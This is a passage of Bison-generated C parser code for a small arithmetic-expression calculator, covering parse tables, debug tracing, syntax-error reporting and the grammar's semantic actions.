2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11 }; #if YYDEBUG /* YYRLINE[YYN] -- Source line where rule number YYN was defined. */ static const yytype_int8 yyrline[] = { 0, 34, 34, 37, 36, 42, 43, 45, 46, 47, 48, 49, 50, 51, 52 }; #endif #if YYDEBUG || YYERROR_VERBOSE || 0 /* YYTNAME[SYMBOL-NUM] -- String name of the symbol SYMBOL-NUM. First, the terminals, then, starting at YYNTOKENS, nonterminals. */ static const char *const yytname[] = { "$end", "error", "$undefined", "NUMBER", "PLUS", "MINUS", "MULT", "DIV", "EXPON", "EOL", "LB", "RB", "$accept", "input", "$@1", "line", "exp", YY_NULLPTR }; #endif # ifdef YYPRINT /* YYTOKNUM[NUM] -- (External) token number corresponding to the (internal) symbol number NUM (which must be that of a token). */ static const yytype_int16 yytoknum[] = { 0, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266 }; # endif #define YYPACT_NINF (-6) #define yypact_value_is_default(Yyn) \ ((Yyn) == YYPACT_NINF) #define YYTABLE_NINF (-1) #define yytable_value_is_error(Yyn) \ 0 /* YYPACT[STATE-NUM] -- Index in YYTABLE of the portion describing STATE-NUM. */ static const yytype_int8 yypact[] = { -6, 1, -6, 15, -6, 18, -6, 18, -6, 25, -3, 8, 18, 18, 18, 18, 18, -6, -6, -3, -3, -2, -2, -2 }; /* YYDEFACT[STATE-NUM] -- Default reduction number in state STATE-NUM. Performed when YYTABLE does not specify something else to do. Zero means the default is an error. */ static const yytype_int8 yydefact[] = { 2, 3, 1, 0, 7, 0, 5, 0, 4, 0, 12, 0, 0, 0, 0, 0, 0, 6, 14, 8, 9, 10, 11, 13 }; /* YYPGOTO[NTERM-NUM]. */ static const yytype_int8 yypgoto[] = { -6, -6, -6, -6, -5 }; /* YYDEFGOTO[NTERM-NUM]. */ static const yytype_int8 yydefgoto[] = { -1, 1, 3, 8, 9 }; /* YYTABLE[YYPACT[STATE-NUM]] -- What to do in state STATE-NUM. If positive, shift that token. If negative, reduce the rule whose number is the opposite. If YYTABLE_NINF, syntax error. */ static const yytype_int8 yytable[] = { 10, 2, 11, 14, 15, 16, 16, 19, 20, 21, 22, 23, 12, 13, 14, 15, 16, 0, 4, 18, 5, 4, 0, 5, 6, 7, 0, 0, 7, 12, 13, 14, 15, 16, 17 }; static const yytype_int8 yycheck[] = { 5, 0, 7, 6, 7, 8, 8, 12, 13, 14, 15, 16, 4, 5, 6, 7, 8, -1, 3, 11, 5, 3, -1, 5, 9, 10, -1, -1, 10, 4, 5, 6, 7, 8, 9 }; /* YYSTOS[STATE-NUM] -- The (internal number of the) accessing symbol of state STATE-NUM. */ static const yytype_int8 yystos[] = { 0, 13, 0, 14, 3, 5, 9, 10, 15, 16, 16, 16, 4, 5, 6, 7, 8, 9, 11, 16, 16, 16, 16, 16 }; /* YYR1[YYN] -- Symbol number of symbol that rule YYN derives. */ static const yytype_int8 yyr1[] = { 0, 12, 13, 14, 13, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16 }; /* YYR2[YYN] -- Number of symbols on the right hand side of rule YYN. */ static const yytype_int8 yyr2[] = { 0, 2, 0, 0, 3, 1, 2, 1, 3, 3, 3, 3, 2, 3, 3 }; #define yyerrok (yyerrstatus = 0) #define yyclearin (yychar = YYEMPTY) #define YYEMPTY (-2) #define YYEOF 0 #define YYACCEPT goto yyacceptlab #define YYABORT goto yyabortlab #define YYERROR goto yyerrorlab #define YYRECOVERING() (!!yyerrstatus) #define YYBACKUP(Token, Value) \ do \ if (yychar == YYEMPTY) \ { \ yychar = (Token); \ yylval = (Value); \ YYPOPSTACK (yylen); \ yystate = *yyssp; \ goto yybackup; \ } \ else \ { \ yyerror (YY_("syntax error: cannot back up")); \ YYERROR; \ } \ while (0) /* Error token number */ #define YYTERROR 1 #define YYERRCODE 256 /* YYLLOC_DEFAULT -- Set CURRENT to span from RHS[1] to RHS[N]. If N is 0, then set CURRENT to the empty location which ends the previous symbol: RHS[0] (always defined). */ #ifndef YYLLOC_DEFAULT # define YYLLOC_DEFAULT(Current, Rhs, N) \ do \ if (N) \ { \ (Current).first_line = YYRHSLOC (Rhs, 1).first_line; \ (Current).first_column = YYRHSLOC (Rhs, 1).first_column; \ (Current).last_line = YYRHSLOC (Rhs, N).last_line; \ (Current).last_column = YYRHSLOC (Rhs, N).last_column; \ } \ else \ { \ (Current).first_line = (Current).last_line = \ YYRHSLOC (Rhs, 0).last_line; \ (Current).first_column = (Current).last_column = \ YYRHSLOC (Rhs, 0).last_column; \ } \ while (0) #endif #define YYRHSLOC(Rhs, K) ((Rhs)[K]) /* Enable debugging if requested. */ #if YYDEBUG # ifndef YYFPRINTF # include <stdio.h> /* INFRINGES ON USER NAME SPACE */ # define YYFPRINTF fprintf # endif # define YYDPRINTF(Args) \ do { \ if (yydebug) \ YYFPRINTF Args; \ } while (0) /* YY_LOCATION_PRINT -- Print the location on the stream. This macro was not mandated originally: define only if we know we won't break user code: when these are the locations we know. */ #ifndef YY_LOCATION_PRINT # if defined YYLTYPE_IS_TRIVIAL && YYLTYPE_IS_TRIVIAL /* Print *YYLOCP on YYO. Private, do not rely on its existence. */ YY_ATTRIBUTE_UNUSED static int yy_location_print_ (FILE *yyo, YYLTYPE const * const yylocp) { int res = 0; int end_col = 0 != yylocp->last_column ? yylocp->last_column - 1 : 0; if (0 <= yylocp->first_line) { res += YYFPRINTF (yyo, "%d", yylocp->first_line); if (0 <= yylocp->first_column) res += YYFPRINTF (yyo, ".%d", yylocp->first_column); } if (0 <= yylocp->last_line) { if (yylocp->first_line < yylocp->last_line) { res += YYFPRINTF (yyo, "-%d", yylocp->last_line); if (0 <= end_col) res += YYFPRINTF (yyo, ".%d", end_col); } else if (0 <= end_col && yylocp->first_column < end_col) res += YYFPRINTF (yyo, "-%d", end_col); } return res; } # define YY_LOCATION_PRINT(File, Loc) \ yy_location_print_ (File, &(Loc)) # else # define YY_LOCATION_PRINT(File, Loc) ((void) 0) # endif #endif # define YY_SYMBOL_PRINT(Title, Type, Value, Location) \ do { \ if (yydebug) \ { \ YYFPRINTF (stderr, "%s ", Title); \ yy_symbol_print (stderr, \ Type, Value, Location); \ YYFPRINTF (stderr, "\n"); \ } \ } while (0) /*-----------------------------------. | Print this symbol's value on YYO. | `-----------------------------------*/ static void yy_symbol_value_print (FILE *yyo, int yytype, YYSTYPE const * const yyvaluep, YYLTYPE const * const yylocationp) { FILE *yyoutput = yyo; YYUSE (yyoutput); YYUSE (yylocationp); if (!yyvaluep) return; # ifdef YYPRINT if (yytype < YYNTOKENS) YYPRINT (yyo, yytoknum[yytype], *yyvaluep); # endif YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN YYUSE (yytype); YY_IGNORE_MAYBE_UNINITIALIZED_END } /*---------------------------. | Print this symbol on YYO. | `---------------------------*/ static void yy_symbol_print (FILE *yyo, int yytype, YYSTYPE const * const yyvaluep, YYLTYPE const * const yylocationp) { YYFPRINTF (yyo, "%s %s (", yytype < YYNTOKENS ? "token" : "nterm", yytname[yytype]); YY_LOCATION_PRINT (yyo, *yylocationp); YYFPRINTF (yyo, ": "); yy_symbol_value_print (yyo, yytype, yyvaluep, yylocationp); YYFPRINTF (yyo, ")"); } /*------------------------------------------------------------------. | yy_stack_print -- Print the state stack from its BOTTOM up to its | | TOP (included). | `------------------------------------------------------------------*/ static void yy_stack_print (yy_state_t *yybottom, yy_state_t *yytop) { YYFPRINTF (stderr, "Stack now"); for (; yybottom <= yytop; yybottom++) { int yybot = *yybottom; YYFPRINTF (stderr, " %d", yybot); } YYFPRINTF (stderr, "\n"); } # define YY_STACK_PRINT(Bottom, Top) \ do { \ if (yydebug) \ yy_stack_print ((Bottom), (Top)); \ } while (0) /*------------------------------------------------. | Report that the YYRULE is going to be reduced. | `------------------------------------------------*/ static void yy_reduce_print (yy_state_t *yyssp, YYSTYPE *yyvsp, YYLTYPE *yylsp, int yyrule) { int yylno = yyrline[yyrule]; int yynrhs = yyr2[yyrule]; int yyi; YYFPRINTF (stderr, "Reducing stack by rule %d (line %d):\n", yyrule - 1, yylno); /* The symbols being reduced. */ for (yyi = 0; yyi < yynrhs; yyi++) { YYFPRINTF (stderr, " $%d = ", yyi + 1); yy_symbol_print (stderr, yystos[+yyssp[yyi + 1 - yynrhs]], &yyvsp[(yyi + 1) - (yynrhs)] , &(yylsp[(yyi + 1) - (yynrhs)]) ); YYFPRINTF (stderr, "\n"); } } # define YY_REDUCE_PRINT(Rule) \ do { \ if (yydebug) \ yy_reduce_print (yyssp, yyvsp, yylsp, Rule); \ } while (0) /* Nonzero means print parse trace. It is left uninitialized so that multiple parsers can coexist. */ int yydebug; #else /* !YYDEBUG */ # define YYDPRINTF(Args) # define YY_SYMBOL_PRINT(Title, Type, Value, Location) # define YY_STACK_PRINT(Bottom, Top) # define YY_REDUCE_PRINT(Rule) #endif /* !YYDEBUG */ /* YYINITDEPTH -- initial size of the parser's stacks. */ #ifndef YYINITDEPTH # define YYINITDEPTH 200 #endif /* YYMAXDEPTH -- maximum size the stacks can grow to (effective only if the built-in stack extension method is used). Do not make this value too large; the results are undefined if YYSTACK_ALLOC_MAXIMUM < YYSTACK_BYTES (YYMAXDEPTH) evaluated with infinite-precision integer arithmetic. */ #ifndef YYMAXDEPTH # define YYMAXDEPTH 10000 #endif #if YYERROR_VERBOSE # ifndef yystrlen # if defined __GLIBC__ && defined _STRING_H # define yystrlen(S) (YY_CAST (YYPTRDIFF_T, strlen (S))) # else /* Return the length of YYSTR. */ static YYPTRDIFF_T yystrlen (const char *yystr) { YYPTRDIFF_T yylen; for (yylen = 0; yystr[yylen]; yylen++) continue; return yylen; } # endif # endif # ifndef yystpcpy # if defined __GLIBC__ && defined _STRING_H && defined _GNU_SOURCE # define yystpcpy stpcpy # else /* Copy YYSRC to YYDEST, returning the address of the terminating '\0' in YYDEST. */ static char * yystpcpy (char *yydest, const char *yysrc) { char *yyd = yydest; const char *yys = yysrc; while ((*yyd++ = *yys++) != '\0') continue; return yyd - 1; } # endif # endif # ifndef yytnamerr /* Copy to YYRES the contents of YYSTR after stripping away unnecessary quotes and backslashes, so that it's suitable for yyerror. The heuristic is that double-quoting is unnecessary unless the string contains an apostrophe, a comma, or backslash (other than backslash-backslash). YYSTR is taken from yytname. If YYRES is null, do not copy; instead, return the length of what the result would have been. */ static YYPTRDIFF_T yytnamerr (char *yyres, const char *yystr) { if (*yystr == '"') { YYPTRDIFF_T yyn = 0; char const *yyp = yystr; for (;;) switch (*++yyp) { case '\'': case ',': goto do_not_strip_quotes; case '\\': if (*++yyp != '\\') goto do_not_strip_quotes; else goto append; append: default: if (yyres) yyres[yyn] = *yyp; yyn++; break; case '"': if (yyres) yyres[yyn] = '\0'; return yyn; } do_not_strip_quotes: ; } if (yyres) return yystpcpy (yyres, yystr) - yyres; else return yystrlen (yystr); } # endif /* Copy into *YYMSG, which is of size *YYMSG_ALLOC, an error message about the unexpected token YYTOKEN for the state stack whose top is YYSSP. Return 0 if *YYMSG was successfully written. Return 1 if *YYMSG is not large enough to hold the message. In that case, also set *YYMSG_ALLOC to the required number of bytes. Return 2 if the required number of bytes is too large to store. */ static int yysyntax_error (YYPTRDIFF_T *yymsg_alloc, char **yymsg, yy_state_t *yyssp, int yytoken) { enum { YYERROR_VERBOSE_ARGS_MAXIMUM = 5 }; /* Internationalized format string. */ const char *yyformat = YY_NULLPTR; /* Arguments of yyformat: reported tokens (one for the "unexpected", one per "expected"). */ char const *yyarg[YYERROR_VERBOSE_ARGS_MAXIMUM]; /* Actual size of YYARG. */ int yycount = 0; /* Cumulated lengths of YYARG. */ YYPTRDIFF_T yysize = 0; /* There are many possibilities here to consider: - If this state is a consistent state with a default action, then the only way this function was invoked is if the default action is an error action. In that case, don't check for expected tokens because there are none. - The only way there can be no lookahead present (in yychar) is if this state is a consistent state with a default action. Thus, detecting the absence of a lookahead is sufficient to determine that there is no unexpected or expected token to report. In that case, just report a simple "syntax error". - Don't assume there isn't a lookahead just because this state is a consistent state with a default action. There might have been a previous inconsistent state, consistent state with a non-default action, or user semantic action that manipulated yychar. - Of course, the expected token list depends on states to have correct lookahead information, and it depends on the parser not to perform extra reductions after fetching a lookahead from the scanner and before detecting a syntax error. Thus, state merging (from LALR or IELR) and default reductions corrupt the expected token list. However, the list is correct for canonical LR with one exception: it will still contain any token that will not be accepted due to an error action in a later state. */ if (yytoken != YYEMPTY) { int yyn = yypact[+*yyssp]; YYPTRDIFF_T yysize0 = yytnamerr (YY_NULLPTR, yytname[yytoken]); yysize = yysize0; yyarg[yycount++] = yytname[yytoken]; if (!yypact_value_is_default (yyn)) { /* Start YYX at -YYN if negative to avoid negative indexes in YYCHECK. In other words, skip the first -YYN actions for this state because they are default actions. */ int yyxbegin = yyn < 0 ? -yyn : 0; /* Stay within bounds of both yycheck and yytname. */ int yychecklim = YYLAST - yyn + 1; int yyxend = yychecklim < YYNTOKENS ? yychecklim : YYNTOKENS; int yyx; for (yyx = yyxbegin; yyx < yyxend; ++yyx) if (yycheck[yyx + yyn] == yyx && yyx != YYTERROR && !yytable_value_is_error (yytable[yyx + yyn])) { if (yycount == YYERROR_VERBOSE_ARGS_MAXIMUM) { yycount = 1; yysize = yysize0; break; } yyarg[yycount++] = yytname[yyx]; { YYPTRDIFF_T yysize1 = yysize + yytnamerr (YY_NULLPTR, yytname[yyx]); if (yysize <= yysize1 && yysize1 <= YYSTACK_ALLOC_MAXIMUM) yysize = yysize1; else return 2; } } } } switch (yycount) { # define YYCASE_(N, S) \ case N: \ yyformat = S; \ break default: /* Avoid compiler warnings. */ YYCASE_(0, YY_("syntax error")); YYCASE_(1, YY_("syntax error, unexpected %s")); YYCASE_(2, YY_("syntax error, unexpected %s, expecting %s")); YYCASE_(3, YY_("syntax error, unexpected %s, expecting %s or %s")); YYCASE_(4, YY_("syntax error, unexpected %s, expecting %s or %s or %s")); YYCASE_(5, YY_("syntax error, unexpected %s, expecting %s or %s or %s or %s")); # undef YYCASE_ } { /* Don't count the "%s"s in the final size, but reserve room for the terminator. */ YYPTRDIFF_T yysize1 = yysize + (yystrlen (yyformat) - 2 * yycount) + 1; if (yysize <= yysize1 && yysize1 <= YYSTACK_ALLOC_MAXIMUM) yysize = yysize1; else return 2; } if (*yymsg_alloc < yysize) { *yymsg_alloc = 2 * yysize; if (! (yysize <= *yymsg_alloc && *yymsg_alloc <= YYSTACK_ALLOC_MAXIMUM)) *yymsg_alloc = YYSTACK_ALLOC_MAXIMUM; return 1; } /* Avoid sprintf, as that infringes on the user's name space. Don't have undefined behavior even if the translation produced a string with the wrong number of "%s"s. */ { char *yyp = *yymsg; int yyi = 0; while ((*yyp = *yyformat) != '\0') if (*yyp == '%' && yyformat[1] == 's' && yyi < yycount) { yyp += yytnamerr (yyp, yyarg[yyi++]); yyformat += 2; } else { ++yyp; ++yyformat; } } return 0; } #endif /* YYERROR_VERBOSE */ /*-----------------------------------------------. | Release the memory associated to this symbol. | `-----------------------------------------------*/ static void yydestruct (const char *yymsg, int yytype, YYSTYPE *yyvaluep, YYLTYPE *yylocationp) { YYUSE (yyvaluep); YYUSE (yylocationp); if (!yymsg) yymsg = "Deleting"; YY_SYMBOL_PRINT (yymsg, yytype, yyvaluep, yylocationp); YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN YYUSE (yytype); YY_IGNORE_MAYBE_UNINITIALIZED_END } /* The lookahead symbol. */ int yychar; /* The semantic value of the lookahead symbol. */ YYSTYPE yylval; /* Location data for the lookahead symbol. */ YYLTYPE yylloc # if defined YYLTYPE_IS_TRIVIAL && YYLTYPE_IS_TRIVIAL = { 1, 1, 1, 1 } # endif ; /* Number of syntax errors so far. */ int yynerrs; /*----------. | yyparse. | `----------*/ int yyparse (void) { yy_state_fast_t yystate; /* Number of tokens to shift before error messages enabled. */ int yyerrstatus; /* The stacks and their tools: 'yyss': related to states. 'yyvs': related to semantic values. 'yyls': related to locations. Refer to the stacks through separate pointers, to allow yyoverflow to reallocate them elsewhere. */ /* The state stack. */ yy_state_t yyssa[YYINITDEPTH]; yy_state_t *yyss; yy_state_t *yyssp; /* The semantic value stack. */ YYSTYPE yyvsa[YYINITDEPTH]; YYSTYPE *yyvs; YYSTYPE *yyvsp; /* The location stack. */ YYLTYPE yylsa[YYINITDEPTH]; YYLTYPE *yyls; YYLTYPE *yylsp; /* The locations where the error started and ended. */ YYLTYPE yyerror_range[3]; YYPTRDIFF_T yystacksize; int yyn; int yyresult; /* Lookahead token as an internal (translated) token number. */ int yytoken = 0; /* The variables used to return semantic value and location from the action routines. */ YYSTYPE yyval; YYLTYPE yyloc; #if YYERROR_VERBOSE /* Buffer for error messages, and its allocated size. */ char yymsgbuf[128]; char *yymsg = yymsgbuf; YYPTRDIFF_T yymsg_alloc = sizeof yymsgbuf; #endif #define YYPOPSTACK(N) (yyvsp -= (N), yyssp -= (N), yylsp -= (N)) /* The number of symbols on the RHS of the reduced rule. Keep to zero when no symbol should be popped. */ int yylen = 0; yyssp = yyss = yyssa; yyvsp = yyvs = yyvsa; yylsp = yyls = yylsa; yystacksize = YYINITDEPTH; YYDPRINTF ((stderr, "Starting parse\n")); yystate = 0; yyerrstatus = 0; yynerrs = 0; yychar = YYEMPTY; /* Cause a token to be read. */ yylsp[0] = yylloc; goto yysetstate; /*------------------------------------------------------------. | yynewstate -- push a new state, which is found in yystate. | `------------------------------------------------------------*/ yynewstate: /* In all cases, when you get here, the value and location stacks have just been pushed. So pushing a state here evens the stacks. */ yyssp++; /*--------------------------------------------------------------------. | yysetstate -- set current state (the top of the stack) to yystate. | `--------------------------------------------------------------------*/ yysetstate: YYDPRINTF ((stderr, "Entering state %d\n", yystate)); YY_ASSERT (0 <= yystate && yystate < YYNSTATES); YY_IGNORE_USELESS_CAST_BEGIN *yyssp = YY_CAST (yy_state_t, yystate); YY_IGNORE_USELESS_CAST_END if (yyss + yystacksize - 1 <= yyssp) #if !defined yyoverflow && !defined YYSTACK_RELOCATE goto yyexhaustedlab; #else { /* Get the current used size of the three stacks, in elements. */ YYPTRDIFF_T yysize = yyssp - yyss + 1; # if defined yyoverflow { /* Give user a chance to reallocate the stack. Use copies of these so that the &'s don't force the real ones into memory. */ yy_state_t *yyss1 = yyss; YYSTYPE *yyvs1 = yyvs; YYLTYPE *yyls1 = yyls; /* Each stack pointer address is followed by the size of the data in use in that stack, in bytes. This used to be a conditional around just the two extra args, but that might be undefined if yyoverflow is a macro. */ yyoverflow (YY_("memory exhausted"), &yyss1, yysize * YYSIZEOF (*yyssp), &yyvs1, yysize * YYSIZEOF (*yyvsp), &yyls1, yysize * YYSIZEOF (*yylsp), &yystacksize); yyss = yyss1; yyvs = yyvs1; yyls = yyls1; } # else /* defined YYSTACK_RELOCATE */ /* Extend the stack our own way. */ if (YYMAXDEPTH <= yystacksize) goto yyexhaustedlab; yystacksize *= 2; if (YYMAXDEPTH < yystacksize) yystacksize = YYMAXDEPTH; { yy_state_t *yyss1 = yyss; union yyalloc *yyptr = YY_CAST (union yyalloc *, YYSTACK_ALLOC (YY_CAST (YYSIZE_T, YYSTACK_BYTES (yystacksize)))); if (! yyptr) goto yyexhaustedlab; YYSTACK_RELOCATE (yyss_alloc, yyss); YYSTACK_RELOCATE (yyvs_alloc, yyvs); YYSTACK_RELOCATE (yyls_alloc, yyls); # undef YYSTACK_RELOCATE if (yyss1 != yyssa) YYSTACK_FREE (yyss1); } # endif yyssp = yyss + yysize - 1; yyvsp = yyvs + yysize - 1; yylsp = yyls + yysize - 1; YY_IGNORE_USELESS_CAST_BEGIN YYDPRINTF ((stderr, "Stack size increased to %ld\n", YY_CAST (long, yystacksize))); YY_IGNORE_USELESS_CAST_END if (yyss + yystacksize - 1 <= yyssp) YYABORT; } #endif /* !defined yyoverflow && !defined YYSTACK_RELOCATE */ if (yystate == YYFINAL) YYACCEPT; goto yybackup; /*-----------. | yybackup. | `-----------*/ yybackup: /* Do appropriate processing given the current state. Read a lookahead token if we need one and don't already have one. */ /* First try to decide what to do without reference to lookahead token. */ yyn = yypact[yystate]; if (yypact_value_is_default (yyn)) goto yydefault; /* Not known => get a lookahead token if don't already have one. */ /* YYCHAR is either YYEMPTY or YYEOF or a valid lookahead symbol. */ if (yychar == YYEMPTY) { YYDPRINTF ((stderr, "Reading a token: ")); yychar = yylex (); } if (yychar <= YYEOF) { yychar = yytoken = YYEOF; YYDPRINTF ((stderr, "Now at end of input.\n")); } else { yytoken = YYTRANSLATE (yychar); YY_SYMBOL_PRINT ("Next token is", yytoken, &yylval, &yylloc); } /* If the proper action on seeing token YYTOKEN is to reduce or to detect an error, take that action. */ yyn += yytoken; if (yyn < 0 || YYLAST < yyn || yycheck[yyn] != yytoken) goto yydefault; yyn = yytable[yyn]; if (yyn <= 0) { if (yytable_value_is_error (yyn)) goto yyerrlab; yyn = -yyn; goto yyreduce; } /* Count tokens shifted since error; after three, turn off error status. */ if (yyerrstatus) yyerrstatus--; /* Shift the lookahead token. */ YY_SYMBOL_PRINT ("Shifting", yytoken, &yylval, &yylloc); yystate = yyn; YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN *++yyvsp = yylval; YY_IGNORE_MAYBE_UNINITIALIZED_END *++yylsp = yylloc; /* Discard the shifted token. */ yychar = YYEMPTY; goto yynewstate; /*-----------------------------------------------------------. | yydefault -- do the default action for the current state. | `-----------------------------------------------------------*/ yydefault: yyn = yydefact[yystate]; if (yyn == 0) goto yyerrlab; goto yyreduce; /*-----------------------------. | yyreduce -- do a reduction. | `-----------------------------*/ yyreduce: /* yyn is the number of a rule to reduce with. */ yylen = yyr2[yyn]; /* If YYLEN is nonzero, implement the default value of the action: '$$ = $1'. Otherwise, the following line sets YYVAL to garbage. This behavior is undocumented and Bison users should not rely upon it. Assigning to YYVAL unconditionally makes the parser a bit smaller, and it avoids a GCC warning that YYVAL may be used uninitialized. */ yyval = yyvsp[1-yylen]; /* Default location. */ YYLLOC_DEFAULT (yyloc, (yylsp - yylen), yylen); yyerror_range[1] = yyloc; YY_REDUCE_PRINT (yyn); switch (yyn) { case 2: #line 34 "config/exprL-s3.y" { lineno ++; } #line 1448 "src/exprL-s3.tab.c" break; case 3: #line 37 "config/exprL-s3.y" { printf("Line %d (%d):\t", lineno++, (yylsp[0]).last_line); } #line 1455 "src/exprL-s3.tab.c" break; case 5: #line 42 "config/exprL-s3.y" { printf("\n");} #line 1461 "src/exprL-s3.tab.c" break; case 6: #line 43 "config/exprL-s3.y" { printf(" = %g at line %d\n",(yyvsp[-1].val), (yylsp[-1]).last_line);} #line 1467 "src/exprL-s3.tab.c" break; case 7: #line 45 "config/exprL-s3.y" { (yyval.val) = (yyvsp[0].val); printf("%g ", (yyvsp[0].val)); } #line 1473 "src/exprL-s3.tab.c" break; case 8: #line 46 "config/exprL-s3.y" { (yyval.val) = (yyvsp[-2].val) + (yyvsp[0].val); printf("+ "); } #line 1479 "src/exprL-s3.tab.c" break; case 9: #line 47 "config/exprL-s3.y" { (yyval.val) = (yyvsp[-2].val) - (yyvsp[0].val); printf("- "); } #line 1485 "src/exprL-s3.tab.c" break; case 10: #line 48 "config/exprL-s3.y" { (yyval.val) = (yyvsp[-2].val) * (yyvsp[0].val); printf("* "); } #line 1491 "src/exprL-s3.tab.c" break; case 11: #line 49 "config/exprL-s3.y" { (yyval.val) = (yyvsp[-2].val) / (yyvsp[0].val); printf("/ "); } #line 1497 "src/exprL-s3.tab.c" break; case 12: #line 50 "config/exprL-s3.y" { (yyval.val) = -(yyvsp[0].val); printf("- "); } #line 1503 "src/exprL-s3.tab.c" break; case 13: #line 51 "config/exprL-s3.y" { (yyval.val) = pow((yyvsp[-2].val),(yyvsp[0].val)); printf("** ");} #line 1509 "src/exprL-s3.tab.c" break; case 14: #line 52 "config/exprL-s3.y" { (yyval.val) = (yyvsp[-1].val); } #line 1515 "src/exprL-s3.tab.c" break; #line 1519 "src/exprL-s3.tab.c" default: break; } /* User semantic actions sometimes alter yychar, and that requires that yytoken be updated with the new translation. We take the approach of translating immediately before every use of yytoken. One alternative is translating here after every semantic action, but that translation would be missed if the semantic action invokes YYABORT, YYACCEPT, or YYERROR immediately after altering yychar or if it invokes YYBACKUP. In the case of YYABORT or YYACCEPT, an incorrect destructor might then be invoked immediately. In the case of YYERROR or YYBACKUP, subsequent parser actions might lead to an incorrect destructor call or verbose syntax error message before the lookahead is translated. */ YY_SYMBOL_PRINT ("-> $$ =", yyr1[yyn], &yyval, &yyloc); YYPOPSTACK (yylen); yylen = 0; YY_STACK_PRINT (yyss, yyssp); *++yyvsp = yyval; *++yylsp = yyloc; /* Now 'shift' the result of the reduction. Determine what state that goes to, based on the state we popped back to and the rule number reduced by. */ { const int yylhs = yyr1[yyn] - YYNTOKENS; const int yyi = yypgoto[yylhs] + *yyssp; yystate = (0 <= yyi && yyi <= YYLAST && yycheck[yyi] == *yyssp ? yytable[yyi] : yydefgoto[yylhs]); } goto yynewstate; /*--------------------------------------. | yyerrlab -- here on detecting error. | `--------------------------------------*/ yyerrlab: /* Make sure we have latest lookahead translation. See comments at user semantic actions for why this is necessary. */ yytoken = yychar == YYEMPTY ? YYEMPTY : YYTRANSLATE (yychar); /* If not already recovering from an error, report this error. */ if (!yyerrstatus) { ++yynerrs; #if ! YYERROR_VERBOSE yyerror (YY_("syntax error")); #else # define YYSYNTAX_ERROR yysyntax_error (&yymsg_alloc, &yymsg, \ yyssp, yytoken) { char const *yymsgp = YY_("syntax error"); int yysyntax_error_status; yysyntax_error_status = YYSYNTAX_ERROR; if (yysyntax_error_status == 0) yymsgp = yymsg; else if (yysyntax_error_status == 1) { if (yymsg != yymsgbuf) YYSTACK_FREE (yymsg); yymsg = YY_CAST (char *, YYSTACK_ALLOC (YY_CAST (YYSIZE_T, yymsg_alloc))); if (!yymsg) { yymsg = yymsgbuf; yymsg_alloc = sizeof yymsgbuf; yysyntax_error_status = 2; } else { yysyntax_error_status = YYSYNTAX_ERROR; yymsgp = yymsg; } } yyerror (yymsgp); if (yysyntax_error_status == 2) goto yyexhaustedlab; } # undef YYSYNTAX_ERROR #endif } yyerror_range[1] = yylloc; if (yyerrstatus == 3) { /* If just tried and failed to reuse lookahead token after an error, discard it. */ if (yychar <= YYEOF) { /* Return failure if at end of input. */ if (yychar == YYEOF) YYABORT; } else { yydestruct ("Error: discarding", yytoken, &yylval, &yylloc); yychar = YYEMPTY; } } /* Else will try to reuse lookahead token after shifting the error token. */ goto yyerrlab1; /*---------------------------------------------------. | yyerrorlab -- error raised explicitly by YYERROR. | `---------------------------------------------------*/ yyerrorlab: /* Pacify compilers when the user code never invokes YYERROR and the label yyerrorlab therefore never appears in user code. */ if (0) YYERROR; /* Do not reclaim the symbols of the rule whose action triggered this YYERROR. */ YYPOPSTACK (yylen); yylen = 0; YY_STACK_PRINT (yyss, yyssp); yystate = *yyssp; goto yyerrlab1; /*-------------------------------------------------------------. | yyerrlab1 -- common code for both syntax error and YYERROR. | `-------------------------------------------------------------*/ yyerrlab1: yyerrstatus = 3; /* Each real token shifted decrements this. */ for (;;) { yyn = yypact[yystate]; if (!yypact_value_is_default (yyn)) { yyn += YYTERROR; if (0 <= yyn && yyn <= YYLAST && yycheck[yyn] == YYTERROR) { yyn = yytable[yyn]; if (0 < yyn) break; } } /* Pop the current state because it cannot handle the error token. */ if (yyssp == yyss) YYABORT; yyerror_range[1] = *yylsp; yydestruct ("Error: popping", yystos[yystate], yyvsp, yylsp); YYPOPSTACK (1); yystate = *yyssp; YY_STACK_PRINT (yyss, yyssp); } YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN *++yyvsp = yylval; YY_IGNORE_MAYBE_UNINITIALIZED_END yyerror_range[2] = yylloc; /* Using YYLLOC is tempting, but would change the location of the lookahead. YYLOC is available though. */ YYLLOC_DEFAULT (yyloc, yyerror_range, 2); *++yylsp = yyloc; /* Shift the error token. */ YY_SYMBOL_PRINT ("Shifting", yystos[yyn], yyvsp, yylsp); yystate = yyn; goto yynewstate; /*-------------------------------------. | yyacceptlab -- YYACCEPT comes here. | `-------------------------------------*/ yyacceptlab: yyresult = 0; goto yyreturn; /*-----------------------------------. | yyabortlab -- YYABORT comes here. | `-----------------------------------*/ yyabortlab: yyresult = 1; goto yyreturn; #if !defined yyoverflow || YYERROR_VERBOSE /*-------------------------------------------------. | yyexhaustedlab -- memory exhaustion comes here. | `-------------------------------------------------*/ 